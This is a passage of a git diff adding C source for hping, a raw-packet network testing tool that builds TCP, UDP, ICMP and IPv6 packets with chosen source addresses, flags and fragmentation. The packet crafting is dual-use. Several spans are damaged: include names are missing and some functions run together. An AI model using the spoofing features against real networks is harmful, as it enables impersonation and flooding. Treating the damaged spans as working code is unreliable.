UDPHDR_SIZE + data_size); + memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + + icmp = (struct myicmphdr*) packet; + data = packet + ICMPHDR_SIZE; + pseudoheader = (struct pseudohdr *) ph_buf; + icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE); + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */ + icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */ + icmp->checksum = 0; + icmp->un.gateway = 0; /* not used, MUST be 0 */ + + /* concerned packet headers */ + /* IP header */ + icmp_ip.version = icmp_ip_version; /* 4 */ + icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */ + icmp_ip.tos = icmp_ip_tos; /* 0 */ + icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len)); + icmp_ip.id = htons(getpid() & 0xffff); + icmp_ip.frag_off = 0; /* 0 */ + icmp_ip.ttl = 64; /* 64 */ + icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */ + icmp_ip.check = 0; + memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4); + memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4); + icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE); + + /* UDP header */ + memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4); + memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4); + pseudoheader->protocol = icmp_ip.protocol; + pseudoheader->lenght = icmp_ip.tot_len; + icmp_udp->uh_sport = htons(icmp_ip_srcport); + icmp_udp->uh_dport = htons(icmp_ip_dstport); + icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len); + icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + + /* filling icmp body with concerned packet header */ + + /* fill IP */ + if (left_space == 0) goto no_space_left; + memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space); + left_space -= IPHDR_SIZE; + data += IPHDR_SIZE; + if (left_space <= 0) goto no_space_left; + + /* fill UDP */ + memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space); + left_space -= UDPHDR_SIZE; + data += UDPHDR_SIZE; + if (left_space <= 0) goto no_space_left; + + /* fill DATA */ + data_handler(data, left_space); +no_space_left: + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + else + icmp->checksum = icmp_cksum; + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + free (packet); + free (ph_buf); +} diff --git a/sendip.c b/sendip.c new file mode 100644 index 0000000..5131651 --- /dev/null +++ b/sendip.c @@ -0,0 +1,134 @@ +/* + * $smu-mark$ + * $name: sendip.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +/* $Id: sendip.c,v 1.7 2003/08/01 13:28:07 njombart Exp $ */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void send_ip (char* src, char *dst, char *data, unsigned int datalen, + int more_fragments, unsigned short fragoff, char *options, + char optlen) +{ + char *packet; + int result, + packetsize; + struct myiphdr *ip; + + packetsize = IPHDR_SIZE + optlen + datalen; + if ( (packet = malloc(packetsize)) == NULL) { + perror("[send_ip] malloc()"); + return; + } + + memset(packet, 0, packetsize); + ip = (struct myiphdr*) packet; + + /* copy src and dst address */ + memcpy(&ip->saddr, src, sizeof(ip->saddr)); + memcpy(&ip->daddr, dst, sizeof(ip->daddr)); + + /* build ip header */ + ip->version = 4; + ip->ihl = (IPHDR_SIZE + optlen + 3) >> 2; + ip->tos = ip_tos; + +#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI +/* FreeBSD */ +/* NetBSD */ + ip->tot_len = packetsize; +#else +/* Linux */ +/* OpenBSD */ + ip->tot_len = htons(packetsize); +#endif + + if (!opt_fragment) + { + ip->id = (src_id == -1) ? + htons((unsigned short) rand()) : + htons((unsigned short) src_id); + } + else /* if you need fragmentation id must not be randomic */ + { + /* FIXME: when frag. enabled sendip_handler shold inc. ip->id */ + /* for every frame sent */ + ip->id = (src_id == -1) ? + htons(getpid() & 255) : + htons((unsigned short) src_id); + } + +#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI +/* FreeBSD */ +/* NetBSD */ + ip->frag_off |= more_fragments; + ip->frag_off |= fragoff >> 3; +#else +/* Linux */ +/* OpenBSD */ + ip->frag_off |= htons(more_fragments); + ip->frag_off |= htons(fragoff >> 3); /* shift three flags bit */ +#endif + + ip->ttl = src_ttl; + if (opt_rawipmode) ip->protocol = raw_ip_protocol; + else if (opt_icmpmode) ip->protocol = 1; /* icmp */ + else if (opt_udpmode) ip->protocol = 17; /* udp */ + else ip->protocol = 6; /* tcp */ + ip->check = 0; /* always computed by the kernel */ + + /* copies options */ + if (options != NULL) + memcpy(packet+IPHDR_SIZE, options, optlen); + + /* copies data */ + memcpy(packet + IPHDR_SIZE + optlen, data, datalen); + + if (opt_debug == TRUE) + { + unsigned int i; + + for (i=0; i$ + * $copyright: Copyright (C) 2006 by Matyas Koszik$ + * $license: This software is under GPL version 2 of license$ + * $date: Sun Apr 16 05:18:30 CEST 2006$ + * $rev: 1$ + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void send_ip6 (char *src, char *dst, char *data, unsigned int datalen) +{ + char *packet; + int result, + packetsize; + struct myip6hdr *ip6; + + packetsize = IP6HDR_SIZE + datalen; + if ( (packet = malloc(packetsize)) == NULL) { + perror("[send_ip] malloc()"); + return; + } + + memset(packet, 0, packetsize); + ip6 = (struct myip6hdr*) packet; + + /* copy src and dst address */ + memcpy(ip6->saddr, src, sizeof(ip6->saddr)); + memcpy(ip6->daddr, dst, sizeof(ip6->daddr)); + + /* build ip header */ + ip6->version = 6; +// ip->tos = ip_tos; + +#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI +/* FreeBSD */ +/* NetBSD */ + ip6->paylen = datalen; +#else +/* Linux */ +/* OpenBSD */ + ip6->paylen = htons(datalen); +#endif + + ip6->hoplimit = src_ttl; + if (opt_rawipmode) ip6->nextheader = raw_ip_protocol; + else if (opt_icmpmode) ip6->nextheader = 58; /* icmp */ + else if (opt_udpmode) ip6->nextheader = 17; /* udp */ + else ip6->nextheader = 6; /* tcp */ + + /* copies data */ + memcpy(packet + IP6HDR_SIZE, data, datalen); + + if (opt_debug == TRUE) + { + unsigned int i; + + for (i=0; i$ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 3$ + */ + +#include + +#include "hping2.h" +#include "globals.h" + +void send_ip_handler(char *packet, unsigned int size) +{ + if(opt_ipv6) + { + send_ip6((char*)&ADDR6(&local), + (char*)&ADDR6(&remote), + packet, size); + return; + } + ip_optlen = ip_opt_build(ip_opt); + + if (!opt_fragment && (size+ip_optlen+20 >= h_if_mtu)) + { + /* auto-activate fragmentation */ + virtual_mtu = h_if_mtu-20; + virtual_mtu = virtual_mtu - (virtual_mtu % 8); + opt_fragment = TRUE; + opt_mf = opt_df = FALSE; /* deactivate incompatible options */ + if (opt_verbose || opt_debug) + printf("auto-activate fragmentation, fragments size: %d\n", virtual_mtu); + } + + if (!opt_fragment) + { + unsigned short fragment_flag = 0; + + if (opt_mf) fragment_flag |= MF; /* more fragments */ + if (opt_df) fragment_flag |= DF; /* dont fragment */ + send_ip((char*)&ADDR4(&local), + (char*)&ADDR4(&remote), + packet, size, fragment_flag, ip_frag_offset, + ip_opt, ip_optlen); + } + else + { + unsigned int remainder = size; + int frag_offset = 0; + + while(1) { + if (remainder <= virtual_mtu) + break; + + send_ip((char*)&ADDR4(&local), + (char*)&ADDR4(&remote), + packet+frag_offset, + virtual_mtu, MF, frag_offset, + ip_opt, ip_optlen); + + remainder-=virtual_mtu; + frag_offset+=virtual_mtu; + } + + send_ip((char*)&ADDR4(&local), + (char*)&ADDR4(&remote), + packet+frag_offset, + remainder, NF, frag_offset, + ip_opt, ip_optlen); + } +} diff --git a/sendrawip.c b/sendrawip.c new file mode 100644 index 0000000..36066a4 --- /dev/null +++ b/sendrawip.c @@ -0,0 +1,25 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void send_rawip(void) +{ + char *packet; + + packet = malloc(data_size); + if (packet == NULL) { + perror("[send_rawip] malloc()"); + return; + } + memset(packet, 0, data_size); + data_handler(packet, data_size); + send_ip_handler(packet, data_size); + free(packet); +} diff --git a/sendtcp.c b/sendtcp.c new file mode 100644 index 0000000..6582e18 --- /dev/null +++ b/sendtcp.c @@ -0,0 +1,118 @@ +/* + * $smu-mark$ + * $name: sendtcp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void send_tcp(void) +{ + int packet_size; + int tcp_opt_size = 0; + char *packet, *data; + struct mytcphdr *tcp; + struct pseudohdr *pseudoheader; + struct pseudohdr6 *pseudoheader6; + unsigned char *tstamp; + int pslen; + + if (opt_tcp_timestamp) + tcp_opt_size = 12; + + if(opt_ipv6) + pslen = PSEUDOHDR6_SIZE; + else + pslen = PSEUDOHDR_SIZE; + + packet_size = TCPHDR_SIZE + tcp_opt_size + data_size; + packet = malloc(pslen + packet_size); + if (packet == NULL) { + perror("[send_tcphdr] malloc()"); + return; + } + pseudoheader = (struct pseudohdr*) packet; + pseudoheader6 = (struct pseudohdr6*) packet; + tcp = (struct mytcphdr*) (packet+pslen); + tstamp = (unsigned char*) (packet+pslen+TCPHDR_SIZE); + data = (char*) (packet+pslen+TCPHDR_SIZE+tcp_opt_size); + + memset(packet, 0, pslen+packet_size); + + /* tcp pseudo header */ + if(opt_ipv6) + { + memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16); + memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16); + pseudoheader6->protocol = IPPROTO_TCP; + pseudoheader6->lenght = htons(packet_size); + } + else + { + memcpy(&pseudoheader->saddr, &ADDR4(&local).s_addr, 4); + memcpy(&pseudoheader->daddr, &ADDR4(&remote).s_addr, 4); + pseudoheader->protocol = IPPROTO_TCP; + pseudoheader->lenght = htons(packet_size); + } + + /* tcp header */ + tcp->th_dport = htons(dst_port); + tcp->th_sport = htons(src_port); + + /* sequence number and ack are random if not set */ + tcp->th_seq = (set_seqnum) ? htonl(tcp_seqnum) : htonl(rand()); + tcp->th_ack = (set_ack) ? htonl(tcp_ack) : htonl(rand()); + + tcp->th_off = src_thoff + (tcp_opt_size >> 2); + tcp->th_win = htons(src_winsize); + tcp->th_flags = tcp_th_flags; + + /* tcp timestamp option */ + if (opt_tcp_timestamp) { + __u32 randts = rand() ^ (rand() << 16); + tstamp[0] = tstamp[1] = 1; /* NOOP */ + tstamp[2] = 8; + tstamp[3] = 10; /* 10 bytes, kind+len+T1+T2 */ + memcpy(tstamp+4, &randts, 4); /* random */ + memset(tstamp+8, 0, 4); /* zero */ + } + + /* data */ + data_handler(data, data_size); + + /* compute checksum */ +#ifdef STUPID_SOLARIS_CHECKSUM_BUG + tcp->th_sum = packet_size; +#else + tcp->th_sum = cksum((u_short*) packet, pslen + packet_size); +#endif + + /* adds this pkt in delaytable */ + delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet+pslen, packet_size); + free(packet); + + sequence++; /* next sequence number */ + if (!opt_keepstill) + src_port = (sequence + initsport) % 65536; + + if (opt_force_incdport) + dst_port++; +} diff --git a/sendudp.c b/sendudp.c new file mode 100644 index 0000000..23fe610 --- /dev/null +++ b/sendudp.c @@ -0,0 +1,98 @@ +/* + * $smu-mark$ + * $name: sendudp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +/* void hexdumper(unsigned char *packet, int size); */ + +void send_udp(void) +{ + int packet_size; + char *packet, *data; + struct myudphdr *udp; + struct pseudohdr *pseudoheader; + struct pseudohdr6 *pseudoheader6; + int pslen; + + if(opt_ipv6) + pslen = PSEUDOHDR6_SIZE; + else + pslen = PSEUDOHDR_SIZE; + + packet_size = UDPHDR_SIZE + data_size; + packet = malloc(pslen + packet_size); + if (packet == NULL) { + perror("[send_udphdr] malloc()"); + return; + } + pseudoheader = (struct pseudohdr*) packet; + pseudoheader6 = (struct pseudohdr6*) packet; + udp = (struct myudphdr*) (packet+pslen); + data = (char*) (packet+pslen+UDPHDR_SIZE); + + memset(packet, 0, pslen+packet_size); + + /* udp pseudo header */ + if(opt_ipv6) + { + memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16); + memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16); + pseudoheader6->protocol = IPPROTO_UDP; + pseudoheader6->lenght = htons(packet_size); + } + else + { + memcpy(&pseudoheader->saddr, &ADDR4(&local).s_addr, 4); + memcpy(&pseudoheader->daddr, &ADDR4(&remote).s_addr, 4); + pseudoheader->protocol = IPPROTO_UDP; + pseudoheader->lenght = htons(packet_size); + } + + /* udp header */ + udp->uh_dport = htons(dst_port); + udp->uh_sport = htons(src_port); + udp->uh_ulen = htons(packet_size); + + /* data */ + data_handler(data, data_size); + + /* compute checksum */ +#ifdef STUPID_SOLARIS_CHECKSUM_BUG + udp->uh_sum = packet_size; +#else + udp->uh_sum = cksum((__u16*) packet, pslen + packet_size); +#endif + + /* adds this pkt in delaytable */ + delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet+pslen, packet_size); + free(packet); + + sequence++; /* next sequence number */ + + if (!opt_keepstill) + src_port = (sequence + initsport) % 65536; + + if (opt_force_incdport) + dst_port++; +} diff --git a/signal.c b/signal.c new file mode 100644 index 0000000..bc7df2a --- /dev/null +++ b/signal.c @@ -0,0 +1,29 @@ +/* protable signal() like */ + +#include + +/* Portable signal() from R.Stevens, + * modified to reset the handler */ +void (*Signal(int signo, void (*func)(int)))(int) +{ + struct sigaction act, oact; + + act.sa_handler = func; + sigemptyset(&act.sa_mask); + act.sa_flags = 0; /* So if set SA_RESETHAND is cleared */ + if (signo == SIGALRM) + { +#ifdef SA_INTERRUPT + act.sa_flags |= SA_INTERRUPT; /* SunOS 4.x */ +#endif + } + else + { +#ifdef SA_RESTART + act.sa_flags |= SA_RESTART; /* SVR4, 4.4BSD, Linux */ +#endif + } + if (sigaction(signo, &act, &oact) == -1) + return SIG_ERR; + return (oact.sa_handler); +} diff --git a/sockopt.c b/sockopt.c new file mode 100644 index 0000000..b51ffe3 --- /dev/null +++ b/sockopt.c @@ -0,0 +1,38 @@ +/* + * $smu-mark$ + * $name: sockopt.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include /* IP_PROTOIP */ +#include + +void socket_broadcast(int sd) +{ + const int one = 1; + + if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, + (char *)&one, sizeof(one)) == -1) + { + printf("[socket_broadcast] can't set SO_BROADCAST option\n"); + /* non fatal error */ + } +} + +void socket_iphdrincl(int sd) +{ + const int one = 1; + + if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, + (char *)&one, sizeof(one)) == -1) + { + printf("[socket_broadcast] can't set IP_HDRINCL option\n"); + /* non fatal error */ + } +} diff --git a/split.c b/split.c new file mode 100644 index 0000000..df5b098 --- /dev/null +++ b/split.c @@ -0,0 +1,428 @@ +#include +#include +#include +#include +#include + +#include "ars.h" + +int ars_seems_ip(struct ars_iphdr *ip, size_t size) +{ + if (ip->version == 4 && + ip->ihl >= 5 && + (ip->ihl << 2) <= size && + ars_check_ip_cksum(ip) == 1) + return 1; + return 0; +} + +int ars_guess_ipoff(void *packet, size_t size, int *lhs) +{ + size_t orig_size = size; + + while(1) { + struct ars_iphdr *ip = packet; + if (size < sizeof (struct ars_iphdr)) + break; + if (ars_seems_ip(ip, size) == 0) { + /* We may probably assume the link header size + * to be multiple of two */ + packet++; + size--; + continue; + } + *lhs = orig_size - size; + return -ARS_OK; + } + return -ARS_ERROR; +} + +int ars_check_ip_cksum(struct ars_iphdr *ip) +{ + int ip_hdrsize = ip->ihl << 2; + struct ars_iphdr *ip2; + + ip2 = alloca(ip_hdrsize); + memcpy(ip2, ip, ip_hdrsize); + ip2->check = 0; + ip2->check = ars_cksum(ip2, ip_hdrsize); + return (ip->check == ip2->check); +} + +int ars_check_icmp_cksum(struct ars_icmphdr *icmp, size_t size) +{ + struct ars_icmphdr *icmp2; + + icmp2 = alloca(size); + memcpy(icmp2, icmp, size); + icmp2->checksum = 0; + icmp2->checksum = ars_cksum(icmp2, size); + return (icmp->checksum == icmp2->checksum); +} + +#define ARS_SPLIT_DONE 0 +#define ARS_SPLIT_GET_IP 1 +#define ARS_SPLIT_GET_IPOPT 2 +#define ARS_SPLIT_GET_ICMP 3 +#define ARS_SPLIT_GET_UDP 4 +#define ARS_SPLIT_GET_TCP 5 +#define ARS_SPLIT_GET_TCPOPT 6 +#define ARS_SPLIT_GET_DATA 7 + +int ars_split_ip(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_ipopt(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_icmp(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_udp(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_tcp(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_tcpopt(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_data(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); + +/* Take it in sync with ARS_SPLIT_* defines */ +int (*ars_split_state_handler[])(struct ars_packet *pkt, void *packet, + size_t size, int *state, int *len) = +{ + NULL, + ars_split_ip, + ars_split_ipopt, + ars_split_icmp, + ars_split_udp, + ars_split_tcp, + ars_split_tcpopt, + ars_split_data +}; + +int ars_split_packet(void *packet, size_t size, int ipoff, struct ars_packet *pkt) +{ + int offset = 0; + int state = ARS_SPLIT_GET_IP; + + /* User asks for IP offset auto detection */ + if (ipoff == -1 && ars_guess_ipoff(packet, size, &ipoff) != -ARS_OK) { + ars_set_error(pkt, "IP offset autodetection failed"); + return -ARS_INVALID; + } + offset += ipoff; + size -= ipoff; + + /* Implemented as a finite state machine: + * every state is handled with a protocol specific function */ + while (state != ARS_SPLIT_DONE) { + int error; + int len = 0; + + error = ars_split_state_handler[state](pkt, packet + offset, + size, &state, &len); + if (error != -ARS_OK) + return error; + /* put off the link layer padding */ + if (pkt->p_layer_nr == 1 && + pkt->p_layer[0].l_type == ARS_TYPE_IP) { + struct ars_iphdr *ip = pkt->p_layer[0].l_data; + size = MIN(size, ntohs(ip->tot_len)); + } + offset += len; + size -= len; + /* Force the DONE state if we reached the end */ + if (size == 0) + state = ARS_SPLIT_DONE; + } + return -ARS_OK; +} + +int ars_split_ip(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_iphdr *ip = packet, *newip; + int flags = 0; + int ipsize = ip->ihl << 2; + + /* Check for bad header size and checksum */ + if (size < ipsize) { + flags |= ARS_SPLIT_FTRUNC; + ipsize = size; + } + else if (ars_check_ip_cksum(ip) == 0) + flags |= ARS_SPLIT_FBADCKSUM; + ipsize = MIN(ipsize, 20); + + if ((newip = ars_add_iphdr(pkt, 0)) == NULL) + return -ARS_NOMEM; + memcpy(newip, ip, ipsize); + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = ipsize; + + if (flags & ARS_SPLIT_FTRUNC) { + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; + } + + if (ip->ihl > 5) { /* IP options */ + *state = ARS_SPLIT_GET_IPOPT; + pkt->aux = (ip->ihl - 5) << 2; + return -ARS_OK; + } + + switch(ip->protocol) { + case ARS_IPPROTO_IPIP: + *state = ARS_SPLIT_GET_IP; + break; + case ARS_IPPROTO_ICMP: + *state = ARS_SPLIT_GET_ICMP; + break; + case ARS_IPPROTO_TCP: + *state = ARS_SPLIT_GET_TCP; + break; + case ARS_IPPROTO_UDP: + *state = ARS_SPLIT_GET_UDP; + break; + default: + *state = ARS_SPLIT_GET_DATA; + break; + } + return -ARS_OK; +} + +int ars_split_ipopt(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_ipopt *ipopt = packet; + int flags = 0; + int optsize; + int error; + + if (ipopt->kind == ARS_IPOPT_END || ipopt->kind == ARS_IPOPT_NOOP) + optsize = 1; + else + optsize = ipopt->len; + + /* pkt->aux was set by ars_split_ip, or by ars_split_ipopt itself */ + size = MIN(size, pkt->aux); + if (size == 0) { + *len = 0; + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; + } + + if (size < optsize) { + flags |= ARS_SPLIT_FTRUNC; + optsize = size; + } + + pkt->aux -= optsize; + error = ars_add_generic(pkt, optsize, ARS_TYPE_IPOPT); + if (error != -ARS_OK) + return error; + memcpy(pkt->p_layer[pkt->p_layer_nr].l_data, ipopt, optsize); + pkt->p_layer_nr++; + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = optsize; + + if (pkt->aux > 0) + *state = ARS_SPLIT_GET_IPOPT; + else + *state = ARS_SPLIT_GET_DATA; + + return -ARS_OK; +} + +int ars_split_icmp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_icmphdr *icmp = packet, *newicmp; + int flags = 0; + int icmpsize = ARS_ICMPHDR_SIZE; + + /* Check for bad header size and checksum */ + if (size < icmpsize) { + flags |= ARS_SPLIT_FTRUNC; + icmpsize = size; + } + else if (ars_check_icmp_cksum(icmp, size) == 0) + flags |= ARS_SPLIT_FBADCKSUM; + + if ((newicmp = ars_add_icmphdr(pkt, 0)) == NULL) + return -ARS_NOMEM; + memcpy(newicmp, icmp, icmpsize); + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = icmpsize; + + if (flags & ARS_SPLIT_FTRUNC) { + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; + } + + switch(icmp->type) { + case ARS_ICMP_ECHO: + case ARS_ICMP_ECHOREPLY: + *state = ARS_SPLIT_GET_DATA; + break; + default: + *state = ARS_SPLIT_GET_IP; + break; + } + return -ARS_OK; +} + +int ars_split_data(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + void *newdata; + + if ((newdata = ars_add_data(pkt, size)) == NULL) + return -ARS_NOMEM; + memcpy(newdata, packet, size); + + *len = size; + + *state = ARS_SPLIT_DONE; + return -ARS_OK; +} + +int ars_split_udp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_udphdr *udp = packet, *newudp; + int flags = 0; + int udpsize = ARS_UDPHDR_SIZE; + int error; + u_int16_t udpcksum; + + /* XXX hack, we need to add a temp unusual layer (UDP+UDP_DATA) to + * use the ars_udptcp_cksum() function. */ + + /* --- HACK START --- */ + error = ars_add_generic(pkt, size, ARS_TYPE_UDP); + if (error != -ARS_OK) + return error; + newudp = pkt->p_layer[pkt->p_layer_nr].l_data; + memcpy(newudp, udp, size); + newudp->uh_sum = 0; + error = ars_udptcp_cksum(pkt, pkt->p_layer_nr, &udpcksum); + if (error != ARS_OK) { + printf("---ERROR DOING CHECKSUM\n"); + pkt->p_layer_nr++; /* just to be sane */ + return error; + } + error = ars_remove_layer(pkt, pkt->p_layer_nr); + if (error != ARS_OK) + return error; + /* --- HACK END --- */ + + /* Check for bad header size and checksum */ + if (size < udpsize) { + flags |= ARS_SPLIT_FTRUNC; + udpsize = size; + } + else if (udp->uh_sum != udpcksum) + flags |= ARS_SPLIT_FBADCKSUM; + + if ((newudp = ars_add_udphdr(pkt, 0)) == NULL) + return -ARS_NOMEM; + memcpy(newudp, udp, udpsize); + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = udpsize; + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; +} + +int ars_split_tcp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_tcphdr *tcp = packet, *newtcp; + int flags = 0; + int tcpsize = tcp->th_off << 2; + int error; + u_int16_t tcpcksum; + + /* XXX hack, we need to add a temp unusual layer (TCP+TCP_DATA) to + * use the ars_udptcp_cksum() function. */ + + /* --- HACK START --- */ + error = ars_add_generic(pkt, size, ARS_TYPE_TCP); + if (error != -ARS_OK) + return error; + newtcp = pkt->p_layer[pkt->p_layer_nr].l_data; + memcpy(newtcp, tcp, size); + newtcp->th_sum = 0; + error = ars_udptcp_cksum(pkt, pkt->p_layer_nr, &tcpcksum); + if (error != ARS_OK) { + pkt->p_layer_nr++; /* just to be sane */ + return error; + } + error = ars_remove_layer(pkt, pkt->p_layer_nr); + if (error != ARS_OK) + return error; + /* --- HACK END --- */ + + /* Check for bad header size and checksum */ + if (size < tcpsize) { + flags |= ARS_SPLIT_FTRUNC; + tcpsize = size; + } + else if (tcp->th_sum != tcpcksum) + flags |= ARS_SPLIT_FBADCKSUM; + + tcpsize = MIN(tcpsize, 20); + + if ((newtcp = ars_add_tcphdr(pkt, 0)) == NULL) + return -ARS_NOMEM; + memcpy(newtcp, tcp, tcpsize); + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = tcpsize; + if (tcp->th_off > 5) { + *state = ARS_SPLIT_GET_TCPOPT; + pkt->aux = (tcp->th_off - 5) << 2; + } else { + *state = ARS_SPLIT_GET_DATA; + } + return -ARS_OK; +} + +int ars_split_tcpopt(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_tcpopt *tcpopt = packet; + int flags = 0; + int optsize; + int error; + + if (tcpopt->kind == ARS_TCPOPT_EOL || tcpopt->kind == ARS_TCPOPT_NOP) + optsize = 1; + else + optsize = tcpopt->len; + + /* pkt->aux was set by ars_split_tcp, or by ars_split_tcpopt itself */ + size = MIN(size, pkt->aux); + if (size == 0) { + *len = 0; + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; + } + + if (size < optsize) { + flags |= ARS_SPLIT_FTRUNC; + optsize = size; + } + + pkt->aux -= optsize; + error = ars_add_generic(pkt, optsize, ARS_TYPE_TCPOPT); + if (error != -ARS_OK) + return error; + memcpy(pkt->p_layer[pkt->p_layer_nr].l_data, tcpopt, optsize); + pkt->p_layer_nr++; + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = optsize; + + if (pkt->aux > 0) + *state = ARS_SPLIT_GET_TCPOPT; + else + *state = ARS_SPLIT_GET_DATA; + + return -ARS_OK; +} diff --git a/statistics.c b/statistics.c new file mode 100644 index 0000000..b715960 --- /dev/null +++ b/statistics.c @@ -0,0 +1,57 @@ +/* + * $smu-mark$ + * $name: statistics.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:50 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void print_statistics(int signal_id) +{ + unsigned int lossrate; + +#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP) + close_sockpacket(sockpacket); +#else + close_pcap(); +#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */ + + if (recv_pkt > 0) + lossrate = 100 - ((recv_pkt*100)/sent_pkt); + else + if (!sent_pkt) + lossrate = 0; + else + lossrate = 100; + + fprintf(stderr, "\n--- %s hping statistic ---\n", targetname); + fprintf(stderr, "%d packets transmitted, %d packets received, " + "%d%% packet loss\n", sent_pkt, recv_pkt, lossrate); + if (out_of_sequence_pkt) + fprintf(stderr, "%d out of sequence packets received\n", + out_of_sequence_pkt); + fprintf(stderr, "round-trip min/avg/max = %.1f/%.1f/%.1f ms\n", + rtt_min, rtt_avg, rtt_max); + + /* manage exit code */ + if (opt_tcpexitcode) + { + exit(tcp_exitcode); + } + else + { + if (recv_pkt) + exit(0); + else + exit(1); + } +}; diff --git a/strlcpy.c b/strlcpy.c new file mode 100644 index 0000000..e520208 --- /dev/null +++ b/strlcpy.c @@ -0,0 +1,82 @@ +/* + * $smu-mark$ + * $name: strLcpy.c$ + * $author: Nicolas Jombart $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * *copyright: (c) 1998 Todd C. Miller $ + * $license: This software is under GPL version 2 of license$ + * $date: Wed Feb 13 17:02:32 CET 2002$ + * $rev:$ + */ + +/* $OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 